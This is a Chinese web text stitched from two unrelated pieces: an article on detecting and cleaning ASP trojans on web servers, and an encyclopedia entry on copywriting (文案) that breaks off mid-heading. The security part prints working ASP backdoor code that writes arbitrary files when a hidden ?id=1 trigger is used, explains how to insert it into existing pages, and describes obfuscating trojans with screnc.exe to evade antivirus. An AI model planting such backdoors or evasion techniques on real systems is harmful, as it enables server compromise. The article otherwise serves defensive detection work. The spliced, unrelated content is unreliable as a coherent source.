文案asp后门、木马清理

木马后门时间:2021-04-07 阅读:()

一技巧1 杀毒软件查杀

一些朋友可能在成功得到上传权限之后上传的asp木马是一些非常有名的asp木马例如 cmdasp海洋顶端木马这些木马虽然功能强大但是早已经被杀毒软件列入了黑名单所以利用杀毒软件对web空间中的文件进行扫描可以有效的发现并清除这些有名的asp木马。这是我利用瑞星杀毒软件在web目录中查杀到的一个asp木马木马标注为Script.ASP.Rootkit.10.a在瑞星的网站上搜索一下可以知道这就是海洋顶端木马。利用这种方法可以有效的对抗一些小菜上传的asp木马效果明显。

二技巧2 FT P客户端对比

上面的方法虽然对菜鸟入侵者比较管用但是遇到稍微有点意识的入侵者来说几乎失去效果 因为他们完全可以对asp木马进行伪装加密使其躲藏杀毒软件这样的手法比较多我个人比较喜欢微软开发个的一个asp加密小工具 screnc.exe screnc.exe是一款AS P加密程序加密的程式比较安全使代码完全改变使用也非常简单。只需要在命令下输入screnc.exe得到帮助命令 Usage:screnc[/?] [/s] [/f] [/xl] [/l ScriptLanguage] [/eDefaultExtension] 〈source〉〈destination〉 根据提示只需要输入 screnc.exe要加密的asp木马名输出的asp木马名就可以完成加密伪装。

经过加密之后记事本打开查看可以看到标签 〈%……%〉  〈script〉〈/script〉等标签内的代码成为一些“乱码”而杀毒软件查杀asp木马是通过搜索关键字来查杀着阿姨能够显然就躲过查杀。

盛大官方网站被黑挂的网页木马代码就是利用screnc.exe来加密的过了好几天才被发现可见加密伪装手法的高超。

所以要采取另外的措施对付这种加密伪装的asp木马我们可以利用一些FTP客户端软件例如cuteftp FlashFXP提供的文件对比功能通过对比FTP的中的web文件和本地的备份文件发现是否错出可疑文件。

这里以FlashFXP进行操作讲解。

步骤1 打开FlashFXP在左边窗口中跳转到本地web备份文件目录在右边的FTP窗口中跳转到web目录下。

步骤2 点工具栏中的“工具”选择其中的“比较文件夹命令” 即可进行对比文件夹速度非常快。

我们可以清楚的看到196个对象被过滤在FTP空间中多出了这样几个asp文件 .asp

2005.asp等这十有八九就是入侵者留下的asp后门打开确认一下即可。

三技巧3用Beyond Compare 2进行对比

上面的利用FTP客户端对比文件的方法虽然有效但是遇到渗透入文件的asp木马那就无能为力了这里介绍一款渗透性asp木马可以将代码插入到指定web文件中平常情况下不会显示只有使用触发语句才能打开asp木马其隐蔽性非常高。代码如下

〈%on error resume nextid=request("id")if request("id")=1 thentestfi le=Request.form("name")msg=Request.form("message")set fs=server.CreatObject("scripting.fi lesystemobject")set thisfi le=fs.openTestFi le(testfi le,8,True,0)thisfi le.Writel ine(""&msg&"")thisfi le.closeset fs=nothing

%〉

〈from method="post"Action="保存"?id=1 〉

〈input type="text"size="20"name="Name"

Value= 〈%=server.mappath("XP.ASP")%〉〉

〈textarea name="Message"class=input〉

〈/textarea〉

〈input type="Submit"name="send"Value="生成"class=input〉

〈/from〉

〈%end if%〉

注意在修改目标主机的web文件时要注意这样的文件修改后没有效果 即含有类似于

〈!--#include fi le="inc/conn.asp"--〉这样的文件包含命令这样的代码存在时加入asp代码后根本不会显示出脚本后门但是脚本后门代码不会影响原文件的显示和功能。假如已经对目标服务器www.target.com下的一个editor_InsertPic.asp文件进行了修改插入了脚本后门代码那么打开的方式是 www. target. .com/editor_InsertPic.asp?id=1 ,注意后门的字符?id=1 有了这些字符才能保证脚本后门显示出来普通情况下打开www. target. .com/editor_InsertPic.asp?id=1 是不会露出破绽的。

这招真是asp木马放置中非常狠的如果遇到这样的情况该怎么办我们可以利用一款专业的文件对比工具Beyond Compare2来完成木马的查找。

Beyond Compare 2一款不可多得的专业级的文件夹和文件对比工具。使用它可以很方便的对比出两个文件夹或者文件的不同之处。并把相差的每一个字节用颜色加以表示查看方便。并且支持多种规则对比。

看我来利用它完成渗透性asp木马的查找。

步骤1 打开Beyond Compare 2 点工具栏中的“比较任务”选择其中的选项新建在“比较模式”中选择“比较两个文件夹”。进入一下步选择需要对比的两个文件夹路径 即备份过的网站文件以及从FTP上下载的网站文件再在下面的“文件过滤器”中选择“包括所有文件”。在“比较范围”中选择“文件大小”。设置完毕即可开始比较。

步骤2 比较完毕软件界面左右两边分别显示了比较的结果从中可以很容易找到哪个目录多出了什么文件。

步骤3文件名相同但是大小不同的文件会被软件用另外的颜色标注出来选择上它们然后选择工具栏的“操作”中的“比较内容”功能 即可展开两个文件的详细内容从中我们可以看到FTP端的文件被插入了渗透asp木马。这下很容易找到了吧

四技巧4利用组件性能找asp木马

上面分门别类的介绍了几种asp木马的放置与查杀技巧一般的菜鸟老鸟恐怕都是利用上面的方法来放置asp木马吧所以可以有效的对抗web空间中上传的asp木马。这下可以高枕无忧了吧呵呵先别急还有一种BT的asp木马放置方法你可能很难想到放置思路是这样的在目标web空间中寻找一个不常用的 比较合适的asp文件打开它对其进行代码精简然后再将渗透asp木马的代码插入再对其进行精简直至与原本的文件大小一样。最后利用加密伪装的手法对其进行处理。这样就彻底练就了一个绝对隐藏的asp木马后门一般的入侵者恐怕很难做到这一点 因为要精简代码的同时还要保证asp木马的功能不会错误。

如果你恰恰遇到一个这样的入侵者那么该怎么才能查出被他放置的asp木马呢你可能认为这已经不太可能了呵呵完全可能看我拿出宝贝来思易asp木马追捕。它是一款专门检索各种asp文件所带功能的asp软件通过搜索asp木马含有的特殊字符以及搜索利用变量创建对象及静态对象建立的代码来找出可能含有疑点的asp文件从而有效的防范asp木马。

使用非常简单只需要将文件aspl ist2.0.asp上传到web空间下然后在地址拦中打开就完成了所有asp文件的检索。可以看出它是通过查找各个asp文件的功能来确认是否为asp木马这些功能也都是asp木马常用的 FSOWS SHELL XML等等。

一般的web文件很少具有这样的功能只有那些可恶的asp木马才具有可以看到一些文件具备了相当多的功能这时候就可以打开这些文件来确认是否是asp木马非常有效。大家在查找web空间的asp木马时最好几种方法结合起来这样就能有效的查杀被隐藏起来的asp木马。文案编辑词条

B添加义项?

文案原指放书的桌子后来指在桌子上写字的人。现在指的是公司或企业中从事文字工作的职位就是以文字来表现已经制定的创意策略。文案它不同于设计师用画面或其他手段的表现手法它是一个与广告创意先后相继的表现的过程、发展的过程、深化的过程 多存在于广告公司企业宣传新闻策划等。基本信息

中文名称

文案

外文名称

Copy

1发展历程

2主要工作

3分类构成

4基本要求

5工作范围

6文案写法

7实际应用

折叠编辑本段发展历程

汉字"文案"(wén àn)是指古代官衙中掌管档案、负责起草文书的幕友,亦指官署中的公文、书信等;在现代文案的称呼主要用在商业领域其意义与中国古代所说的文案是有区别的。

在中国古代文案亦作"文按"。公文案卷。《北堂书钞》卷六八引《汉杂事》 :"先是公府掾多不视事但以文案为务。 " 《晋书·桓温传》 :"机务不可停废常行文按宜为限日。 "唐戴叔伦《答崔载华》诗:"文案日成堆愁眉拽不开。 " 《资治通鉴·晋孝武帝太元十四年》 :"诸曹皆得良吏以掌文按。 " 《花月痕》第五一回:"荷生觉得自己是替他掌文案。 "

旧时衙门里草拟文牍、掌管档案的幕僚其地位比一般属吏高。《老残游记》第四回:"像你老这样抚台央出文案老爷来请进去谈谈这面子有多大!"夏衍

《秋瑾传》序幕:"将这阮财富带回衙门去要文案给他补一份状子。 "文案音译

文案英文:copywriter、 copy、 copywriting

文案拼音:wén àn

现代文案的概念:

文案来源于广告行业是"广告文案"的简称 由copy writer翻译而来。多指以语辞进行广告信息内容表现的形式有广义和狭义之分广义的广告文案包括标题、正文、口号的撰写和对广告形象的选择搭配;狭义的广告文案包括标题、正文、口号的撰写。

在中国 由于各个行业发展都相对不够成熟人员素质也参差不齐这使得"文案"的概念常常被错误引用和理解。最典型的就是把文案等同于"策划"其实这是两种差别很大有着本质区别的工作。只是由于文案人员常常需要和策划人

员、设计人员配合工作且策划人员也需要撰写一些方案这使得很多人误认为文案和策划就是一回事甚至常常把策划与文案的工作会混淆在一起(这也和发源于中国的"策划学"发展不够成熟有关) 。

广告文案

很多企业中都有了的专职的文案人员只有当需要搞一些大型推广活动、做商业策划案、写可行性分析报告等需求量大的项目时才需要对外寻求合作。以往一般企业都会找广告、文化传媒等公司合作。这些公司一般都有专业的文案、设计团队经验也相对丰富但因为业务量大范围广泛在针对性方面会较为薄弱。随着社会经济不断发展对专业文案的要求更加严格逐渐衍生了一些专注于文字服务的文案策划公司。这类企业发展速度很快大多数都是从工作室形式转型而来也有从文化传播机构独立出来的。

随着中国广告业二十余年的迅猛发展广告公司的经营范围操作流程工作方式都在变化文案的角色由无闻转为配角现正昂首阔步走向台面成为主角从前一则广告多是由设计出计划再配图之后文案轮为完稿一则广告的计划多是由文案与美工共同完成然后各自分工。说起文案的地位 日本是从1992年意识到文案的重要性 台湾是1998年。 2002年大陆的一些中大型广告公司的老总几乎都在垂叹好的文案太少了。好的文案往往愿意扎堆从全国形式来看这股潜规则正逐渐由华南广告重镇广州向华东中心上海转移。折叠编辑本段主要工作

撰写报纸广告、杂志广告、海报;撰写企业样本、品牌样本、产品目录;撰写日常宣传文案白领一族

文案白领一族

单页、各类宣传小册子;撰写DM直邮广告包括信封、邮件正文;撰写电视广告脚本包括分镜头、旁白、字幕;撰写电视专题片脚本;撰写电视广告的拍摄清单;撰写广播广告;将海外版广告文案作汉化(翻译) ;撰写广告歌词或汉化(翻译)外文歌词;撰写各种形式的网络广告;为网站栏目命名;撰写网站内部文案;撰写手机短信广告;撰写各类广告作品的创意阐述;撰写广告口号;撰写产品包装文案包括:品牌名、使用说明、产品成分等; 为产品或品牌命名并作创意阐述;为路演或活动命名并作创意阐述;撰写活动请柬及活动现场宣传品上的文字;为各种礼品命名并作创意阐述;为专卖店命名并作创意阐述;撰写商店的橱窗或店内POP物料文案;撰写软文、新闻式、故事式、评论式;撰写策划书或协助策划人员优化、润色方案文字;协助客户企业内刊的编辑提供主题方向 审核文字。不同的环境对文案撰稿人有着不同的锤炼和要求。

折叠编辑本段分类构成

从现有的文案分类有很多种按照4A标准一般有四类:助理文案(ACW)  文案(CW策划文案

策划文案

) 高级文案(ACW) 资深文案(SCW) 其中稍微要区别的是高级文案与资深文案前者要求的是文案的撰写能力而后者不仅仅是文案的撰写能力还包括做文案的年资。有些4A公司设有文案主任(CE)一职大体上与文案职责类似有时候负责专项。另外有些个别公司还配有首席文案的职位(CCW) 文案功力凤毛麟角虽不具领导才能但有的首席文案拿的工资却比创意总监还要高。大部分国内广告公司文案的种类繁杂有房地产文案、创意文案、企划文案、品牌文案等。文案是由标题、副标题、广告正文、广告口号组成的。它是广告内容的文字化表现。在广告设计中文案与图案图形同等重要 图形具有前期的冲击力广告文案具有较深的影响力。

广告标题:它是广告文案的主题往往也是广告内容的诉求重点。它的作用在于吸引人们对广告的注目 留下印象 引起人们对广告的兴趣。只有当受众对标语产生兴趣时 才会阅读正文。广告标语的设计形式有:情报式 问答式、祈使式、新闻式、口号式、暗示式、提醒式等。广告标语撰写时要语言简明扼要易懂易记传递清楚新颖个性句子中的文字数量一般掌握在12个字以内为宜。

广告副标题:它是广告方案的补充部分有一个点睛的作用。主要表现在对标题的补充及让人感觉前面的不懂在这里全部让人了解。

广告正文:广告正文是对产品及服务 以客观的事实、具体的说明来增加消费者的了解与认识 以理服人。广告正文撰写使内容要实事求是通俗易懂。不论采用何种题材式样都要抓住主要的信息来叙述言简易明。

广告口号:口号是战略性的语言 目的是经过反复和相同的表现 以便名域其他企业精神的不同使消费者掌握商品或服务的个性。这以成为推广商品不可或缺的要素。广告口号常有的形式:联想式、比喻式、许诺式、推理式、赞扬式、命令式。广告口号的撰写要注意简洁明了、语言明确、独创有趣、便于记忆、易读上口。

所谓广告文案是以语辞进行广告信息内容表现的形式。广告文案有广义和狭义之分广义的广告文案就是指通过广告语言、形象和其他因素对既定的广告主题、广告创意所进行的具体表现。狭义的广告文案则指表现广告信息的言语与文字构成。广义的广告文案包括标题、正文、口号的撰写和对广告形象的选择搭配;狭义的广告文案包括标题、正文、口号的撰写。

折叠编辑本段基本要求

1)准确规范、点明主题

准确规范是文案中最基本的要求。要实现对广告主题和广告创意的有效表现和对广告信息的广告文案

广告文案

有效传播首先要求广告文案中语言表达规范完整避免语法错误或表达残缺。其次广告文案中所使用的语言要准确无误避免产生歧义或误解。第三广告文案中的语言要符合语言表达习惯不可生搬硬套 自己创造众所不知的词汇。第四广告文案中的语言要尽量通俗化、大众化避免使用冷僻以及过于专业化的词语。

2)简明精炼、言简意赅

文案在文字语言的使用上要简明扼要、精练概括。首先要以尽可能少的语言和文字表达出广告产品的精髓实现有效的广告信息传播。其次简明精练的广告文案有助于吸引广告受众的注意力和迅速记忆下广告内容。第三 要尽量使用简短的句子 以防止受众因繁长语句所带来的反感。

3)生动形象、表明创意

文案中的生动形象能够吸引受众的注意激发他们的兴趣。国外研究资料表明:文字、图像能引起人们注意的百分比分别文字是35%, 图像是65%文案创作时采用生动活泼、新颖独特的语言的同时 附助以一定的图像来配合。

4)优美流畅、上口易记

文案是广告的整体构思对于由其中诉之于听觉的广告语言要注意优美、流畅和动听使其易识别、易记忆和易传播从而突出广告定位很好地表现广告主题和广告创意产生良好的广告效果。同时也要避免过分追求语言和音韵美而忽视广告主题生搬硬套牵强附会 因文害意。

折叠编辑本段工作范围

策划文案和创意文案

一)策划文案:工作主要是将策划工作人员的策划思路形成文字。毋庸置疑公司很多策划人员均有很强的策划水平和丰富的策划经验但有时候手上同时进行几个案子 同时时间又比较紧的情况下文案可以在充分理解策划意图的情况下帮助策划人员完成策划方案的写作。这其中有几个内容:

1.必须充分了解本案的运作背景包括宏观市场信息和微观市场动态。

2.掌握整个策划的战略指导思想。

3.以通俗易懂、言简意赅的论述方式将策划思想反映在字里行间。

4.到比较专业的问题或障碍的时候应及时与策划人员沟通保证策划方向的一致性。

5.贯彻战略方针的同时也可就战略思想的表达方式和文字提述上提出一些合理化建议从而更好地展现策划的战略核心点。

二)创意文案:主要是将广告作品的表现及形式用完整的文字表达出来其中除了产生画面的构想之外还包括广告语言的表现内容(如平面的标题、引文、正文、随文广告语等影视的音效、旁白、字幕、广告语等) 。其中至关重要的就是新颖的创意和传神的文字表现。而这些智慧的闪光绝对不是拍一下脑门子就能出来的。这其中包括了以下内容:

1.通过各个层面特别是swot方面深入理解从而找出项目的核心优势。

2.把握目标消费群的心态。

3.掌握宏观政策及大市场对项目本身的影响。

4.场策划人员和设计人员保持密切联系随时沟通。

5.市场上类似房产项目的文案及创意力求全面加以突破。

6.获悉开发商对文案创作的要求调整文字内容和形式。

折叠编辑本段文案写法

商家要吸引、留住消费者必须注重细节的提高和改善而其中文案就是不可忽视的一大细节。下面是一些能吸引买家的写文案方法:

折叠九宫格思考法

拿一张白纸用笔先分割成9宫格。中间那格填上你的商品名接下来开始在其它8格填上可以帮助此商品销售的众多可能优点。这是强迫创意产生的简单练习法我也常用这种方式构思出企划案或演讲PPT的结构。

折叠要点衍伸法

把该商品型录上的商品特点照抄下来然后每个要点后面加以延伸。如果你真的很懒照抄型录商品卖点也可但文字会比较没有人味说服力道会稍差。折叠三段式写作法